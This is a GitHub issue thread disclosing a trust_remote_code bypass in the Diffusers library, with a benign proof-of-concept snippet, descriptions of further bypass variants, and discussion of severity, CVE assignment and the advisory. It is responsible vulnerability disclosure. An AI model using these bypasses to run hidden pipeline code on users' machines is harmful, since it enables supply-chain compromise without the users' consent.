Repository navigation
Description
Describe the bug
The DiffusionPipeline.from_pretrained API in the Diffusers library allows users to specify a custom_pipeline, which can point to an external Hugging Face repository containing a pipeline.py. This feature enables flexible extension of pipelines but may raise critical security concerns.
The current implementation enforces the trust_remote_code check only on the main model repository (pretrained_model_name), but fails to validate the external repository specified via custom_pipeline.
As a result, even when trust_remote_code=False, Diffusers may still download and execute arbitrary Python code from an attacker-controlled repository referenced by custom_pipeline. This creates a bypass of the intended security mechanism, leading to silent remote code execution.
Root Cause
diffusers/src/diffusers/pipelines/pipeline_utils.py
Lines 1676 to 1704 in dc8d903
| load_pipe_from_hub = custom_pipeline is not None and f"{custom_pipeline}.py" in filenames | |
| load_components_from_hub = len(custom_components) > 0 | |
| if load_pipe_from_hub and not trust_remote_code: | |
| raise ValueError( | |
| f"The repository for {pretrained_model_name} contains custom code in {custom_pipeline}.py which must be executed to correctly " | |
| f"load the model. You can inspect the repository content at https://hf.co/{pretrained_model_name}/blob/main/{custom_pipeline}.py.\n" | |
| f"Please pass the argument `trust_remote_code=True` to allow custom code to be run." | |
| ) | |
| if load_components_from_hub and not trust_remote_code: | |
| raise ValueError( | |
| f"The repository for {pretrained_model_name} contains custom code in {'.py, '.join([os.path.join(k, v) for k, v in custom_components.items()])} which must be executed to correctly " | |
| f"load the model. You can inspect the repository content at {', '.join([f'https://hf.co/{pretrained_model_name}/{k}/{v}.py' for k, v in custom_components.items()])}.\n" | |
| f"Please pass the argument `trust_remote_code=True` to allow custom code to be run." | |
| ) | |
| # retrieve passed components that should not be downloaded | |
| pipeline_class = _get_pipeline_class( | |
| cls, | |
| config_dict, | |
| load_connected_pipeline=load_connected_pipeline, | |
| custom_pipeline=custom_pipeline, | |
| repo_id=pretrained_model_name if load_pipe_from_hub else None, | |
| hub_revision=revision, | |
| class_name=custom_class_name, | |
| cache_dir=cache_dir, | |
| revision=custom_revision, | |
| ) |
The check does not inspect the external repository referenced by custom_pipeline. Therefore, If custom_pipeline points to another repository (e.g., XManFromXlab/diffuser-custom-pipeline), and the main repo does not contain the corresponding .py file, then load_pipe_from_hub evaluates to False. As a result, the security check is skipped entirely, and diffusers will proceed to fetch the external repository, load and execute its pipeline.py. This results in a trust boundary violation, where remote code execution occurs without explicit user consent.
Reproduction
I created an example model repository on HuggingFace Hub for demonstration: XManFromXlab/diffuser-custom-pipeline. Note that the trust_remote_code flag is set to False.
from diffusers import DiffusionPipeline
benign_repo = "google/ddpm-cifar10-32"
evil_repo = "XManFromXlab/diffuser-custom-pipeline"
DiffusionPipeline.from_pretrained(
benign_repo, custom_pipeline=evil_repo, trust_remote_code=False
)In this example, it will print the following warning messages:
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!
!!!!!!! Execute Malicious Payload !!!!!!!Logs
System Info
- 🤗 Diffusers version: 0.38.0.dev0
- Platform: Linux-6.8.0-88-generic-x86_64-with-glibc2.39
- Running on Google Colab?: No
- Python version: 3.12.3
- PyTorch version (GPU?): 2.11.0+cu130 (False)
- Flax version (CPU?/GPU?/TPU?): not installed (NA)
- Jax version: not installed
- JaxLib version: not installed
- Huggingface_hub version: 1.10.1
- Transformers version: not installed
- Accelerate version: not installed
- PEFT version: not installed
- Bitsandbytes version: not installed
- Safetensors version: 0.7.0
- xFormers version: not installed
- Accelerator: NVIDIA H200 NVL, 143771 MiB
NVIDIA H200 NVL, 143771 MiB
NVIDIA H200 NVL, 143771 MiB - Using GPU in script?:
- Using distributed or parallel set-up in script?:
Activity
hlky commentedon Apr 12, 2026
@Vancir Very cool.
Same issue in different code path with local directory for
pretrained_model_name_or_path:diffusers/src/diffusers/pipelines/pipeline_utils.py
Lines 847 to 853 in dc8d903
diffusers/src/diffusers/pipelines/pipeline_utils.py
Lines 913 to 926 in dc8d903
We reach this point without hitting
download- sotrust_remote_codeis never even checked and the remote code runs.hlky commentedon Apr 12, 2026
Found another case, I will discuss it further here to avoid too much noise on the PR:
pretrained_model_name_or_pathas local directory with custom components,trust_remote_codeis never checkedThis one is particularly interesting. It is fairly common, especially in the wider community and those who prefer local files, to download a Hub repo and then use that local directory with
from_pretrained. The second case mentioned in the PR and in the comment above would still require a user to specify a malicious repo ascustom_pipeline, this case does not, simply loading the local directory that contains malicious custom components would run the malicious code.A malicious actor could reupload a popular model and insert custom components, this would be particularly effective if the chosen model was access gated as many users would opt for the non-gated version.
iwr-redmond commentedon Apr 13, 2026
This would also affect DDUF files, although they are underutilized at present.
sayakpaul commentedon Apr 13, 2026
Thanks, all, for the discussions! I just reviewed the PR from @hlky. I will let @DN6 do a review as well.
Vancir commentedon Apr 17, 2026
Thanks for reviewing and addressing the issue. I really appreciate the effort from the team. I’m reaching out to ask whether it would be possible to request or assign a CVE for this issue. This work is part of an ongoing academic research on security risks in ML ecosystems, and having a CVE would help us better track and reference the vulnerability in a standardized way. Thanks again for your time and support.
asomoza commentedon Apr 17, 2026
My two cents here is that it's kind of a gray area. Using custom_pipeline is actually a "use remote code" enabling feature, but at the same time you're disabling trust_remote_code. These are two separate mechanisms and the docs don't explicitly say one gates the other.
Also in the https://huggingface.co/docs/diffusers/using-diffusers/custom_pipeline_overview we have a warning with:
▎ "you should still inspect the Hub pipeline code and make sure it is safe"
This is something we should fix and it's being done in the PR, but the users should always check what custom pipeline or component are they using instead of blindly relying on this.
My doubt here is that if the user is explicitly using a feature that runs remote code, does this fall as a CVE?
iwr-redmond commentedon Apr 17, 2026
IIUC, the user does not have to decide to use remote code but rather has to decide to use remote weights. Old Diffusers versions are very common in everything from production libraries to research code, which means that publicizing this risk is particularly important now that malicious actors have easy access to an exploit POC.
asomoza commentedon Apr 17, 2026
using custom pipelines is actually using remote code, diffusers doesn't ship with custom pipelines, you're confusing the core pipelines with the custom ones, if people don't understand that, maybe we need to be more clear in the docs with this. The only difference is that by default diffusers looks in the custom pipelines (github mirror) if it matches a certain criteria, but you can actually pass a local pipeline or another repo id with a pipeline as OP did.
So to be clear again, for the user to be affected by this, they need to knowingly and actively pass a custom "repo id" with a custom pipeline that they don't know what it does even with a red note in our docs that says that they should inspect the hub pipeline.
iwr-redmond commentedon Apr 17, 2026
Oops, not the first time I've shot the wrong horse thief. My bigger-picture comment about a CVE remains, however. This sort of oversight is ripe for supply chain exploitation along the lines of the recent LiteLLM attack:
trust_remote_code=Falseasomoza commentedon Apr 17, 2026
that's actually the main issue, it doesn't make sense to use a
custom pipelinewithout allowing the use of remote code, that pipeline won't run. If people before the fix have this, then it's really weird and doesn't make any sense, and it will break whatever they are using it for because it will fail to load with the pipeline.This doesn't fix a security issue, it fixes a weird combination of trying to use remote code but not allowing it at the same time.
The security issue will still be present, people that use
custom pipelinesblindly using remote code that they don't know what it does or if the URL exist, will still have the security problem.iwr-redmond commentedon Apr 17, 2026
Got it (I hope). If a
custom_pipelineby its nature involves running remotely hosted code, perhaps it would be helpful to rename it to something likeremote_pipelineso that the feature is better described?asomoza commentedon Apr 17, 2026
probably it can help but that's a breaking change for all the people that are using
custom_pipelineso not sure if it's doable for something like this.The PR is good for this though, because people that just use
custom_pipelinewill have to enable alsotrust_remote_codeor it won't work, but this is also a breaking change, all the ones that are running actually will fail when they update diffusers with that PR merged.iwr-redmond commentedon Apr 17, 2026
It would have to be a two-stage process, making the change with a deprecation warning first and then removing the old nomenclature in a later version.
6 remaining items
asomoza commentedon Apr 18, 2026
I know the LiteLLM case and other supply chain attacks (they are not new), but I don't think it applies here, those are real no user interactions attacks and also those aren't CVEs on the libraries that use a compromised dependency, practically there's nothing you can do except to make your library completely locked to verified versions or to remove any dependencies and code them again in your project, both are not real things you can do in the AI space.
We agree then that the OP case is not worth a CVE then, the one in debate is the one where you have the compromised model from before hand.
For that one, you can probably ask an expert? What I'm not sure, is that this is not a vulnerability made with this library, it needs for two things to happen at the same time from outside of diffusers:
Note: if the user downloaded the model and the repository gets compromised after that, if the user doesn't update the model manually, and they use it with diffusers, it's safe, diffusers won't update the model with the compromised code.
Also I don't think it's that common for this to happen as most users, use diffusers to download them, maybe more advanced users do this, but this are just suppositions, we need real data to corroborate or refute this assumption which we don't have.
But at this stage, if done this way, it's not wrong to be treated as a "not remote code", because it's actually in the user's machine and maintained by them no?
hlky commentedon Apr 18, 2026
I don't agree.
trust_remote_codeis presented as a protection mechanism so it should cover all cases. See CWE-693. Afaik usingcustom_pipelineis not explicitly stated to overridetrust_remote_code, regardless of whether passing acustom_pipelinecan be considered implicit trust if an explicit trust protection mechanism exists that should take priority - otherwise the protection mechanism might as well not exist.HF has a security team, no?
User interaction is the case for many vulnerabilities, do we need to find a zero-click RCE for a vulnerability to be valid?
I took a quick look at the first page of Issues and PRs, of those with code examples that involve models/pipelines, around half use local directories, this also mirrors my intuition having seen many issues and PRs here over the years. Perhaps you could check the metrics Diffusers collects if it's covered, but I don't think that's necessary, it's not much of a leap to assume users do use local directories and it doesn't make the issue go away by pretending they don't.
Is "remote" really the right distinction here? Surely the actual intent, and what a reasonable person would expect, is "third party" code - anything that is not a part of Diffusers. The source of the code, or more accurately, the model/pipeline repo, as that's what we actually download, is irrelevant IMO.
User downloads pipeline -> Diffusers executes third party code without consent
It is that simple.
asomoza commentedon Apr 18, 2026
I don't want this to be a heated discussion, I'm just stating that it's not crystal clear that this is a CVE or not, hence the question.
I'm just answering and discussing about the question OP made here:
By no means I have or want any authority to prevent someone from opening a CVE so feel free to open it all you want.
I'll just add that a firewall doesn't work if you use
block all incoming connectionswhen you also explicitly open a port or install an app that does it, it is also that simple.I won't engage in a discussion that tries to ridicule the other side, so I'll stop here.
iwr-redmond commentedon Apr 19, 2026
Perhaps publishing a GHSA would be sufficient? This would ensure that downstream users are notified via Dependabot and does not require a CVE to be assigned.
Here is the CVSS 3.1 string I get when trying to stay cautious about the overall impact:
CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:C/C:L/I:L/A:LSeverity: 5.0 (moderate)
If the assumptions about confidentiality and integrity are wrong, and both of these impacts rise to High, the severity increases to 7.4 (high).
hlky commentedon Apr 19, 2026
I will just add:
trust_remote_codeshould be understood as the explicit consent boundary for executing third-party code while loading a pipeline artifact. A model repo / local snapshot is closer to an active document or project file than to a plain weights file: it may contain data, config, and executable extensions. The relevant security property is therefore not whether the artifact is "remote" or already on disk, but whether loading it can cause Diffusers to execute third-party code. In the same way that Word should not run embedded macros just because a document was opened from a local folder instead of downloaded directly, Diffusers should not execute custom pipeline/component code unless the user explicitly opts in. This is especially important because Diffusers is clearly intended to support both Hub-backed and local-only workflows, as shown by options likelocal_files_only, so the trust boundary cannot coherently depend on transport path.I also looked at the custom-component detection logic more closely. There is another inconsistency:
_get_custom_components_and_folders()skips component entries whose first tuple element is not a string, so a craftedmodel_index.jsoncan bypass the "contains custom components" determination in the Hubdownload()path. I verified this with a PoC using"tokenizer": [1, "CLIPTokenizer"], which bypasses the custom-component check but later crashes during loading withTypeError: attribute name must be string, not 'int'when Diffusers reacheshasattr(pipelines, library_name). So this particular PoC is not a demonstrated execution bypass, but it does prove that thetrust_remote_codedetection invariant is broken: a repo can be classified as not containing custom components even though the configuration has already stepped outside the assumptions of the trusted path.What makes this concerning is how narrow the gap is between this malformed-config PoC and a full bypass. In this case execution is only prevented because later code still happens to assume
library_nameis a real string and fails early on type handling. If only a handful of lines in the dynamic-loading path were written slightly differently, for example, by coercing the value to a string while constructing the candidate filename instead of relying on strict string-only operations, the same inconsistency could plausibly have become a completetrust_remote_codebypass. Even where this PoC does not yet produce code execution, it shows thattrust_remote_codeis not backed by a robust, consistently enforced notion of what counts as third-party executable content.For reference, these lines are the difference between a full bypass in this PoC. Changes like this could plausibly arise either through routine maintenance/refactoring or through deliberate action.
diffusers/src/diffusers/pipelines/pipeline_utils.py
Line 1034 in c8c8401
diffusers/src/diffusers/pipelines/pipeline_loading_utils.py
Lines 426 to 430 in c8c8401
For reference on the custom component detection bypass:
diffusers/src/diffusers/pipelines/pipeline_loading_utils.py
Lines 1080 to 1081 in c8c8401
diffusers/src/diffusers/pipelines/pipeline_utils.py
Lines 1744 to 1745 in c8c8401
Finally, the reproduction of this PoC:
Note that this uses a Hub repo, not a local directory.
asomoza commentedon Apr 20, 2026
@Vancir @hlky we discussed it and both are correct in your assumptions @DN6 will discuss the GHSA and CVE with you if you want the credit.
Hopefully we're ok with this, and it was never my intention to block or be negative about this, just had doubts and a question that are more clear now.
also thanks @iwr-redmond for you feedback!
DN6 commentedon Apr 20, 2026
Agreed.
We will publish a GHSA after merging #13448 and making a release.
@hlky @Vancir I'll share the CVE ID and GHSA link in this thread once the advisory is published. Let me know if you'd like to be credited by a specific name/handle/affiliation.
iwr-redmond commentedon Apr 20, 2026
@asomoza gauging these gray area risks can be difficult, but it's much better than getting your ox in a ditch in the midst of an active exploit that makes everything crystal clear–in a bad way. You promoted some useful discussion that helped clarify matters for everyone, wooden Indians notwithstanding.
hlky commentedon Apr 20, 2026
@asomoza Thanks for working through this and for the clarification. I think some of my earlier comments came across more sharply than I intended, and I'm sorry for that.
@DN6 I've pushed the requested changes and tried to align the PR with the direction discussed here. Happy to make any further adjustments if useful.
@Vancir Thanks again for raising this issue.
@iwr-redmond Thanks for your feedback as well.
hlky commentedon Apr 28, 2026
@DN6 Is there a timeline on making a release and publishing the advisories?
DN6 commentedon Apr 30, 2026
@hlky Release should be out by 12pm CET on May 1st
DN6 commentedon May 1, 2026
@hlky @Vancir I've opened a GHSA and requested a CVE. GHSA has been published and I'll share the CVE ID once we have one. You have both been credited. Thank you 👍🏽
zafido commentedon May 3, 2026
Hi @DN6 !
I have a GHSA report pending from March 19 that disclosed this root cause with another variant. It is still private but can be found here - GHSA-7wx4-6vff-v64p
Please let me know if it will receive another CVE, or if it should be included in the credits for this one. Thank you 🙏
DN6 commentedon May 7, 2026
Hi @zafido. Will continue the discussion in GHSA-7wx4-6vff-v64p